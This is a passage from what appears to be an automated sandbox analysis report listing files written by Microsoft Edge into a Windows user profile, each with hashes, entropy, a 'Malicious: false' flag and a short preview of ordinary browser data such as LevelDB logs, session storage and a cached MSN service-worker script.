Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376983596262118","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376983596262118","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.842647656601294
Encrypted:	false
SSDEEP:	24:F2xc5Nm5cncmo0CRORpllg2DfffRHX3VdCRORpllg2Sc03osxxKCRORpllg2Df6l:F2emytrdDnfB1XrdYxErdDiBSrdlBc
MD5:	54A1E0CD98B7184876706535314A571E
SHA1:	2FD9A300EAEEBCB4A777455365CBAEE3E5C5C4DA
SHA-256:	6F057C877FB56529A1CB3320D5D36F686C69C68D41622AC2722B84D4959BC931
SHA-512:	AE888F549440B2C6AE0CA7CFAE200A995E1CE67730827B3DAA94DAD9FD37FD8BD6EC26C4242444841C3E100632F1473605AD5ABCF585C62C58BEB0F0DCB25DDB
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2@..m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8........@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x..................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.156213187001984
Encrypted:	false
SSDEEP:	6:HZISFB1N723oH+TcwtE/a252KLlVfoM+q2PN723oH+TcwtE/a2ZIFUv:5IiBaYeb8xLYM+vVaYeb8J2FUv
MD5:	7C0A6324E54566751D191A3750415F42
SHA1:	A1B49D2521C6203EF81BC665B7ABA520264F0026
SHA-256:	ABE3124C87367F00139BE40418838CCD94AB263EE856F43EA097E3B50312BCDF
SHA-512:	0485DFA39B0EC9AFCC5201492F3A13566277B52CF2CBF102A0172B0A02774FF7AC927BC45691679A38A41EC244702BBA221B984DFD4427C7CA12153DCDED23BD
Malicious:	false
Preview:	2024/11/24-23:46:53.936 14fc Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/24-23:46:53.950 14fc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.579202241927565
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgnO:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFO
MD5:	644DD4BFC9EBA5AB84FC78691A1DCC40
SHA1:	5C5742D8186BD5727279B446D0DB318C72277E98
SHA-256:	D3DFE0ED6EBAFDF5B4EF2E8DA21D9D82452CA0C29CCC42440DE0B8C993311EB5
SHA-512:	B75F777AAC2019BC95C01F6D138661276D15EED566FFE0DEDD4B2C0EF41FD7013A2B45C9DAD80B970A51BFB4DCC1441D99B70865B67F17B43BEDA97253B4C6AC
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188881
Entropy (8bit):	6.385808668822101
Encrypted:	false
SSDEEP:	3072:Lj28KZ9Ww+yUwUr9vz2ML/NxMqFt1XIxDG9ju8Gq:oUwMvjL/PVF7I+1X
MD5:	27CC4F425687674474CFF6E367B54FDF
SHA1:	9C975982DAA72E71B2E279B734370A07E97EEBF1
SHA-256:	082E983DD5282D2BDC7B647B9D8F8ACB4CE9915C2E50AC90DBE3961541B47769
SHA-512:	340449FA5327D6B43F640BBE553A8A35FBF23246BA2F30152161B3FDD255BD5FCF6B14E79DB8D33708C575D7704F970250C3E68FE1E403FCA4E1659A1EDB5560
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yTx........,T.8..`,.....L`.....,T...`......L`......Rc.x......exports...Rc&.FH....module....Rc.......define....Rb..8....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m...T.b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:Z72Xl/ly/l9/lxE0tlla/ldYe+:gmO0gCP
MD5:	7CBBECB26145B2D9FEB2B9BA103F88E2
SHA1:	0DBA31D4A2811BAB2CA7DD0F2B14A7871A793DEC
SHA-256:	F21785C01D60A48782B7B225AA6DE50BEEC8435A9B80D90E996419BB3A170831
SHA-512:	4DD2D96C9FB8A4AEBCB7677F2A2FF88676EABD5A3824D0E421D734292786E54CEDDAF4BB857706363720D32D9E6F2C273AFF8728C375DC6091C014D780978111
Malicious:	false
Preview:	@...,^%\oy retne.........................X....,....................K./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:Z72Xl/ly/l9/lxE0tlla/ldYe+:gmO0gCP
MD5:	7CBBECB26145B2D9FEB2B9BA103F88E2
SHA1:	0DBA31D4A2811BAB2CA7DD0F2B14A7871A793DEC
SHA-256:	F21785C01D60A48782B7B225AA6DE50BEEC8435A9B80D90E996419BB3A170831
SHA-512:	4DD2D96C9FB8A4AEBCB7677F2A2FF88676EABD5A3824D0E421D734292786E54CEDDAF4BB857706363720D32D9E6F2C273AFF8728C375DC6091C014D780978111
Malicious:	false
Preview:	@...,^%\oy retne.........................X....,....................K./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF440be.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.565412423760729
Encrypted:	false
SSDEEP:	3:Z72Xl/ly/l9/lxE0tlla/ldYe+:gmO0gCP
MD5:	7CBBECB26145B2D9FEB2B9BA103F88E2
SHA1:	0DBA31D4A2811BAB2CA7DD0F2B14A7871A793DEC
SHA-256:	F21785C01D60A48782B7B225AA6DE50BEEC8435A9B80D90E996419BB3A170831
SHA-512:	4DD2D96C9FB8A4AEBCB7677F2A2FF88676EABD5A3824D0E421D734292786E54CEDDAF4BB857706363720D32D9E6F2C273AFF8728C375DC6091C014D780978111
Malicious:	false
Preview:	@...,^%\oy retne.........................X....,....................K./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6761
Entropy (8bit):	3.384037145729293
Encrypted:	false
SSDEEP:	192:MttQ4ElL1sstVhh9Xp+SKikD95SLl9iSrjjUV5J:MtML1Bh9Xp+xN5SLl9iSrnK5
MD5:	3E225D9FFDF1C5F413A9EF8FF25DD6F6
SHA1:	D58E881C504230F5F7E82C5450C3F2AE103D10AD
SHA-256:	F481795E51B64C795AF5A05F0385B5A9936D0F5AED24AD64A18A410C936C7AC1
SHA-512:	97A8854862EF0DB13BF87AF6A98506796E98A525EF38A775F1B701CB1C68321C95F10B5B6A7C5A87DF08DB2BB1A9655F1A6FAFA9E381FC2BCAF920BA0AF60E13
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................-&Cb................next-map-id.1.Cnamespace-f808f438_799a_4621_9ace_a9fcb8404efb-https://ntp.msn.com/.0%".!$................map-0-shd_sweeper.1{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.f.i.n.-.c.o.m.p.o.f.,.p.r.g.-.f.i.n.-.h.p.o.f.l.i.o.,.p.r.g.-.f.i.n.-.p.o.f.l.i.o.,.c.p.r.g.-.h.p.-.r.d.u.g.2.,.p.r.g.-.h.o.m.e.t.o.-.h.p.m.s.n.,.p.r.g.-.h.p.-.r.d.c.v.,.p.r.g.-.h.p.-.s.w.i.t.c.h.f.e.e.d.,.p.r.g.-.m.s.n.-.i.d.,.p.r.g.-.e.h.p.s.b.h.v.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.1.,.a.d.s.-.f.l.r.m.g.p.-.n.o.i.s.e.-.t.,.s.i.d.-.f.l.r.n.o.i.s.e.2.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.6.e.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.2.,.p.r.g.-.1.s.w.-.s.a.p.s.t.s.v.f.c.,.p.r.e.p.r.g.-.1.s.w.-.s.a.-.s.p.5.-.t.5.v.2.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.p.d.,.p.r.g.-.1.s.w.-.n.o.a.b.r.t.-.r.,.p.r.g.-.1.s.w.-.t.m.u.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.16565365825671
Encrypted:	false
SSDEEP:	6:HB8+q2PN723oH+TcwtrQMxIFUt8YBt4Zmw+YBwVkwON723oH+TcwtrQMFLJ:HvVaYebCFUt8g4/+r5OaYebtJ
MD5:	20F463F61D28150D54D5BCD97B736E5B
SHA1:	AFEF827CD639116103E52AD49EAA6914B27F5DFA
SHA-256:	C6B1C3FBC55F2DBD94092DD07AB145A574B847AE106AF4084D77051123829162
SHA-512:	041E8164BDDA599598FB93D8A7688547D335103FBC3B82E5CE487BD5CE26285ACA199117173A4444152F59BD0ECAA7C0A150C90AA1588B225DA1EC2DA3ED87F6
Malicious:	false
Preview:	2024/11/24-23:46:37.075 1e98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/24-23:46:37.077 1e98 Recovering log #3.2024/11/24-23:46:37.080 1e98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.16565365825671
Encrypted:	false
SSDEEP:	6:HB8+q2PN723oH+TcwtrQMxIFUt8YBt4Zmw+YBwVkwON723oH+TcwtrQMFLJ:HvVaYebCFUt8g4/+r5OaYebtJ
MD5:	20F463F61D28150D54D5BCD97B736E5B
SHA1:	AFEF827CD639116103E52AD49EAA6914B27F5DFA
SHA-256:	C6B1C3FBC55F2DBD94092DD07AB145A574B847AE106AF4084D77051123829162
SHA-512:	041E8164BDDA599598FB93D8A7688547D335103FBC3B82E5CE487BD5CE26285ACA199117173A4444152F59BD0ECAA7C0A150C90AA1588B225DA1EC2DA3ED87F6
Malicious:	false
Preview:	2024/11/24-23:46:37.075 1e98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/24-23:46:37.077 1e98 Recovering log #3.2024/11/24-23:46:37.080 1e98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376983598759831

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8137283442632595
Encrypted:	false
SSDEEP:	24:3+KIe0/P8psAF4unxatLp3X2amEtG1Chqo2lPlLFasQKkOAM4o:3f0/P8zFMLp2FEkCh2Ro9HOp5
MD5:	27911022700DED17EE5CF593E3F70716
SHA1:	6968F75EA892E2AFEF3CA38DBA4604BAB540DBF6
SHA-256:	436CAE3AA4CCB3198828636CA7584A6BC3D0EEF3B7FA6475FB588B68D78A1F0C
SHA-512:	1B0B9D81BB6C3B588575A29ABB95271F4E6D7A36861E5D07FE8994F25C9E3B1D877E3DF99D242E7D2D6B9A1FFA0BBFD3DBD93E15ECACFC45FCDF74A0E32CC605
Malicious:	false
Preview:	SNSS.........zc.............zc......"..zc.............zc.........zc.........zc.........zc....!....zc.................................zc..zc1..,.....zc$...f808f438_799a_4621_9ace_a9fcb8404efb.....zc.........zc.....\Y..........zc.....zc.........................zc....................5..0.....zc&...{46F3A197-DB49-410A-81B3-94975C835573}.......zc.........zc............................zc.............zc........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x........I.k.'...I.k.'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.124320572156905
Encrypted:	false
SSDEEP:	6:HGRaq2PN723oH+Tcwt7Uh2ghZIFUt8YGOHzZmw+YGOHpkwON723oH+Tcwt7Uh2gd:XvVaYebIhHh2FUt8+Hz/++Hp5OaYebIT
MD5:	E412E6C46CB47C14F7C58D6F43238BA0
SHA1:	984A7C4D8EBDBBE8811A2FEC108D86D75476D63F
SHA-256:	8157F732A1151AEE81BDF40AD4C31EFFABE08A14C1C7000A04CAEDD0A4B717BA
SHA-512:	D9F17DDD341E0766B3B6EB174ABD2508EDF83A8C47EFE279AE4CD11D4FCB0F02E61B02C7B04E4C796B60DF28B0C74E8B28B551C2F791C600949ED9211DB4476B
Malicious:	false
Preview:	2024/11/24-23:46:36.283 1b40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/24-23:46:36.284 1b40 Recovering log #3.2024/11/24-23:46:36.284 1b40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	356
Entropy (8bit):	5.124320572156905
Encrypted:	false
SSDEEP:	6:HGRaq2PN723oH+Tcwt7Uh2ghZIFUt8YGOHzZmw+YGOHpkwON723oH+Tcwt7Uh2gd:XvVaYebIhHh2FUt8+Hz/++Hp5OaYebIT
MD5:	E412E6C46CB47C14F7C58D6F43238BA0
SHA1:	984A7C4D8EBDBBE8811A2FEC108D86D75476D63F
SHA-256:	8157F732A1151AEE81BDF40AD4C31EFFABE08A14C1C7000A04CAEDD0A4B717BA
SHA-512:	D9F17DDD341E0766B3B6EB174ABD2508EDF83A8C47EFE279AE4CD11D4FCB0F02E61B02C7B04E4C796B60DF28B0C74E8B28B551C2F791C600949ED9211DB4476B
Malicious:	false
Preview:	2024/11/24-23:46:36.283 1b40 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/24-23:46:36.284 1b40 Recovering log #3.2024/11/24-23:46:36.284 1b40 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.216801698856421
Encrypted:	false
SSDEEP:	6:HBwFlyq2PN723oH+TcwtzjqEKj3K/2jMGIFUt8YBX1Zmw+YBxRkwON723oH+Tcwy:fvVaYebvqBQFUt8G1/+o5OaYebvqBvJ
MD5:	3DF45769E26F9FFA3EF537E023144288
SHA1:	1C917253B81D571BD27EF98DCD3BA1D0B900506F
SHA-256:	D78F49F1305AA00EB15A3977780333373C4E5739DB337D71A1FDC7C10FCCB19F
SHA-512:	FD7823AFF0A36FF5B6E9691F44E437F90C48A934F2855900EA644E81EDFDFEBC2C40A1AF1C4C3148E108F8ED1AC449CA31ED68A8A5CF131E0CEC946E96DB5390
Malicious:	false
Preview:	2024/11/24-23:46:37.053 1ea0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/24-23:46:37.069 1ea0 Recovering log #3.2024/11/24-23:46:37.076 1ea0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	438
Entropy (8bit):	5.216801698856421
Encrypted:	false
SSDEEP:	6:HBwFlyq2PN723oH+TcwtzjqEKj3K/2jMGIFUt8YBX1Zmw+YBxRkwON723oH+Tcwy:fvVaYebvqBQFUt8G1/+o5OaYebvqBvJ
MD5:	3DF45769E26F9FFA3EF537E023144288
SHA1:	1C917253B81D571BD27EF98DCD3BA1D0B900506F
SHA-256:	D78F49F1305AA00EB15A3977780333373C4E5739DB337D71A1FDC7C10FCCB19F
SHA-512:	FD7823AFF0A36FF5B6E9691F44E437F90C48A934F2855900EA644E81EDFDFEBC2C40A1AF1C4C3148E108F8ED1AC449CA31ED68A8A5CF131E0CEC946E96DB5390
Malicious:	false
Preview:	2024/11/24-23:46:37.053 1ea0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/24-23:46:37.069 1ea0 Recovering log #3.2024/11/24-23:46:37.076 1ea0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\8f6048df-e7e6-48f0-98bf-1a8949683e72.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
